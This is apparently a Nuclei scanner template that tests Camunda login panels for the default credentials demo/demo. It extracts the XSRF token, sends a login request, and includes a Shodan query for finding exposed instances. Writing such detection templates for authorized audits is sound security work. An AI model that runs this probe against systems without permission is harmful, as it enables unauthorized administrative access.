camunda-default-login: Camunda - Default Login

id: camunda-default-login

info:
  name: Camunda - Default Login
  author: bhutch
  severity: high
  description: |
    Camunda login panel contains a default login vulnerability.
  reference:
    - https://github.com/camunda/camunda-docs-manual/blob/master/content/webapps/admin/user-management.md
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.html:"Camunda Welcome"
  tags: default-login,camunda,vuln

http:
  - raw:
      - |
        GET /camunda/app/welcome/default/ HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /camunda/api/admin/auth/user/default/login/welcome HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded;charset=UTF-8
        Accept: application/json, text/plain, */*
        X-Xsrf-Token: {{xsrf_token}}

        username={{username}}&password={{password}}

    attack: pitchfork
    payloads:
      username:
        - demo
      password:
        - demo

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"userId"'
          - '"authorizedApps"'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: xsrf_token
        group: 1
        internal: true
        part: header
        regex:
          - '(?i)Set-Cookie: XSRF-TOKEN=([A-Za-z0-9_.-]+)'
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